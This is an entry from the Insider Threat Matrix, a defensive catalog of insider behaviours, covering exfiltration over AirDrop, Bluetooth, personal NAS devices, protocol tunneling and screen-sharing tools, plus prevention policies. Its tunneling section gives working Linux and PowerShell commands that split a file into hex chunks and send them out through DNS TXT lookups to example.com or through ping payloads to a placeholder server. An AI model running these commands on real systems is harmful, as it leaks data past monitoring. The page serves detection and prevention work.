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Insider Threat Matrix™

  • ID: IF004
  • Created: 31st May 2024
  • Updated: 22nd September 2024
  • Contributor: The ITM Team

Exfiltration via Other Network Medium

A subject exfiltrates files through a network. A network can be an Internet Protocol (IP) network or other technology enabling the communication of data between two or more digital devices.

Subsections

ID Name Description
IF004.002Exfiltration via AirDrop

A subject exfiltrates files using AirDrop as the transportation medium.

IF004.001Exfiltration via Bluetooth

A subject exfiltrates files using BlueTooth as the transportation medium.

IF004.003Exfiltration via Personal NAS Device

A subject exfiltrates data using an organization-owned device (such as a laptop) by copying the data from the device to a personal Network Attached Storage (NAS) device, which is attached to a network outside of the control of the organization, such as a home network. Later, using a personal device, the subject accesses the NAS to retrieve the exfiltrated data.

IF004.005Exfiltration via Protocol Tunneling

A subject exfiltrates data from an organization by encapsulating or hiding it within an otherwise legitimate protocol. This technique allows the subject to covertly transfer data, evading detection by standard security monitoring tools. Commonly used protocols, such as DNS and ICMP, are often leveraged to secretly transmit data to an external destination.

DNS Tunneling (Linux)
A simple example of how DNS tunneling might be achieved with 'Living off the Land' binaries (LoLBins) in Linux:
 

Prerequisites:

  • A domain the subject controls or can use for DNS queries.
  • A DNS server to receive and decode the DNS queries.

 

Steps:

1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt:

 

xxd -p secret.txt > secret.txt.hex
 

2. The subject splits the hexdump into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters):

 

split -b 32 secret.txt.hex hexpart_

 

3. The subject uses dig to send the data in DNS TXT queries. Looping through the split files and sending each chunk as the subdomain of example.com in a TXT record query:

 

for part in hexpart_*; do
   h=$(cat $part)
   dig txt $h.example.com
done

 

On the target DNS server that they control, the subject captures the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query.

 

DNS Tunneling (Windows)
A simple example of how DNS tunneling might be achieved with PowerShell in Windows:

 

Prerequisites:

  • A the subject you controls.
    A DNS server or a script on the subjects server to capture and decode the DNS queries.

 

Steps:
1. The subject converts the sensitive file to hex:

 

$filePath = "C:\path\to\your\secret.txt"
$hexContent = [System.BitConverter]::ToString([System.IO.File]::ReadAllBytes($filePath)) -replace '-', ''

 

2. The subject splits the hex data into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters):

 

$chunkSize = 32
$chunks = $hexContent -split "(.{$chunkSize})" | Where-Object { $_ -ne "" }

 

3. The subject sends the data in DNS TXT queries. Looping through the hex data chunks and sending each chunk as the subdomain of example.com in a TXT record query:

 

$domain = "example.com"

foreach ($chunk in $chunks) {
   $query = "$chunk.$domain"
   Resolve-DnsName -Name $query -Type TXT
}

 

The subject will capture the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query.

 

ICMP Tunneling (Linux)
A simple example of how ICMP tunneling might be achieved with 'Living off the Land' binaries (LOLBins) in Linux:
 

Prerequisites:

  • The subject has access to a server that can receive and process ICMP packets.
  • The subject has root privileges on both client and server machines (as ICMP usually requires elevated permissions).

 

Steps:

1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt:

 

xxd -p secret.txt > secret.txt.hex

 

2. The subject splits the hexdump into manageable chunks. ICMP packets have a payload size limit, so it’s common to use small chunks. The following command will split the hex data into 32-byte chunks:
 

split -b 32 secret.txt.hex hexpart_

 

3. The subject uses ping to send the data in ICMP echo request packets. Loop through the split files and send each chunk as part of the ICMP payload:


DESTINATION_IP="subject_server_ip"
for part in hexpart_*; do
   h=$(cat $part)
   ping -c 1 -p "$h" $DESTINATION_IP
done

 

The subject will capture the incoming ICMP packets on the destination server, extract the data from the packets and decode the reassembled the hex data.

IF004.004Exfiltration via Screen Sharing Software

A subject exfiltrates data outside of the organization's control using the built-in file transfer capabilities of software such as Teamviewer.

Prevention

ID Name Description
PV016Enforce a Data Classification Policy

A Data Classification Policy establishes a standard for handling data by setting out criteria for how data should be classified and subsequently managed and secured. A classification can be applied to data in such a way that the classification is recorded in the body of the data (such as a footer in a text document) and/or within the metadata of a file.

PV003Enforce an Acceptable Use Policy

An Acceptable Use Policy (AUP) is a set of rules outlining acceptable and unacceptable uses of an organization's computer systems and network resources. It acts as a deterrent to prevent employees from conducting illegitimate activities by clearly defining expectations, reinforcing legal and ethical standards, establishing accountability, specifying consequences for violations, and promoting education and awareness about security risks.